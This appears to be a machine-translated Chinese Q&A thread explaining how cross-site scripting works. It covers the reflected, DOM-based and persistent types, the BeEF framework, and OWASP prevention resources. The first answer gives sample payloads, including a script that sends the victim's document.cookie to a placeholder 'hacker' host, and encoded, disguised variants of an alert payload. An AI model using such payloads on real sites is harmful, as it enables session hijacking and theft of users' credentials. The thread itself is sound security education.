XSS 是如何工作的?

信息安全 Web应用程序 攻击 xss 应用安全
2021-08-11 03:54:02

我在 Web 开发方面的经验很少,但我对安全性很感兴趣。但是,我还没有完全理解 XSS 是如何工作的。你能向med解释一下吗?维基百科文章给了我一个好主意,但我认为我不太了解它。

4个回答

XSS - 跨站脚本(但不限于实际的跨站脚本)

XSS 通常以 3 种不同的方式呈现:

非持久性(通常称为反射型 XSS)

这是当您能够注入代码并且服务器将其返回给您时,未经处理。通常可以通过以某种形式或方式分发(通常看起来很无辜的)URL 以供其他人点击来利用这一点。

当您处理针对某人的集中攻击时,这可能特别有效。只要您可以让某人单击您发送的 URL,您就有机会获得系统上的提升权限。

例子:

包含搜索字段的站点没有正确的输入清理。通过制作如下所示的搜索查询:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

坐在另一端的网络服务器上,您将收到点击,其中双空格后是用户 cookie。如果管理员单击链接,您可能会很幸运,从而允许您窃取他们的 sessionID 并劫持会话。

使用垃圾邮件、留言板帖子、IM 消息、社会工程工具包等技术,此漏洞可能非常危险。

基于 DOM

与非持久性非常相似,但 javascript 有效负载不必从网络服务器回显。这通常是在使用已驻留的 javascript 加载时,简单地将来自 URL 参数的值回显到页面上的地方。

例子:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

当然,犯罪分子会修改 URL 以使其看起来更无辜。与上面相同的有效负载只是编码不同:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

当发送到支持 HTML 的电子邮件客户端时,您甚至可以更好地屏蔽它,如下所示:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

执着的

一旦你能够持久化 XSS 向量,攻击就会很快变得更加危险。持久性 XSS 会从服务器反映给您,通常是因为 XSS 已存储在数据库字段或类似字段中。考虑将以下输入存储到数据库中,然后在您的个人资料中呈现给您:

<input type="text" value="Your name" />

如果您能够让应用程序接受并存储未经处理的输入,您所要做的就是让其他用户查看您的个人资料(或 XSS 被反射回来的地方)。

这些类型的 XSS 不仅难以发现,而且对系统造成极大破坏。看看名为Samy worm的 XSS 蠕虫吧!

在 XSS 的早期,您在留言簿、社区、用户评论、聊天室等中都看到了这种漏洞。


两个攻击向量

既然您知道了提供 XSS 有效负载的不同方式,我想提一些可能非常危险的 XSS 攻击向量:

  • XSS 污损

    XSS 破坏并不是一项很难完成的壮举。如果 XSS 也是持久的,那么系统管理员可能会很麻烦。看看 RSnake Stallowned 攻击”,它取消了亚马逊的图书预览功能。很有趣的阅读。

  • Cookie 窃取和会话劫持

    如上述示例之一,一旦您可以访问用户的 cookie,您也可以获取敏感信息。捕获 sessionID 会导致会话劫持,进而导致系统特权提升。

对不起,很长的帖子。我现在就停下来。正如你所看到的,XSS 是一个非常大的话题。不过,我希望我让你更清楚一点。


使用 BeEF 利用 XSS

为了方便了解如何利用 XSS,我建议尝试BeEF,浏览器利用框架。一旦解压并在支持 PHP 的网络服务器上运行,您可以轻松尝试生成受害者(称为僵尸)的模拟,您可以在其中轻松尝试不同的 XSS 有效负载。提一些:

  • 端口扫描本地网络
  • Pingsweep 本地网络
  • 发送病毒感染的小程序,签名并准备就绪
  • 向客户端发送消息
  • 拨打 Skype 电话

名单还在继续。建议在 BeEF 主页上观看视频。

更新:我在我的博客上写了一篇关于 XSS的文章,描述了 XSS。它包含一些关于 XSS 的历史、不同的攻击类型和一些用例,包括 BeEF 和 Shank。

借用 SteveSyfuhs 所说的话,可以使用多种可能的恶意 XSS 方式。

例子:

一个例子是将恶意代码注入数据库字段。随后,只要该字段未经过滤地显示给最终用户,他们的浏览器就会执行代码。这称为持久/存储的跨站点脚本

另一个是能够将代码插入到 GET 或 POST 参数中,而无需对其进行验证或清理。当这些变量修改您的页面内容时,修改后的数据将显示给最终用户,然后他们的浏览器将执行恶意代码。这通常出现在通过电子邮件/网络发送这些 GET 参数的恶意链接中,当有人单击链接时。这称为反射跨站点脚本

资源:

Fortify Software有一个很好的资源来解释漏洞和举例: https ://www.fortify.com/vulncat/en/vulncat/index.html

  • 单击选择的语言,在输入验证和
    表示下,您可以从
    Fortify Software 定义的不同类型的跨站点脚本漏洞中进行选择。

OWASP有一个很好的资源来解释如何防止 XSS 漏洞: http ://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS 是关于让任意数据进入系统,然后将未经修改的数据显示给用户。如果我将一些 js 保存到我的个人资料并让某人查看该页面,则 js 将执行。例如,我可以让 js 将用户 cookie 的内容发送到我的 Web 服务,从而允许我对他们的 cookie 做任何我想做的事情,比如窃取他们的会话。

简而言之,跨站点脚本会欺骗 Web 浏览器执行恶意代码,因为开发人员没有检查不受信任的输入。

因此,如果您以 XSS 攻击为例,不受信任的输入可能是包含 JavaScript 的 URL 参数。开发人员假定参数仅包含数据(或没有充分检查数据)并简单地将参数的内容添加到 HTML 页面。然后浏览器尽职尽责地执行 JavaScript,你自己就会受到反射型 XSS 攻击。

更多信息可以在这里找到:OWASP XSS 页面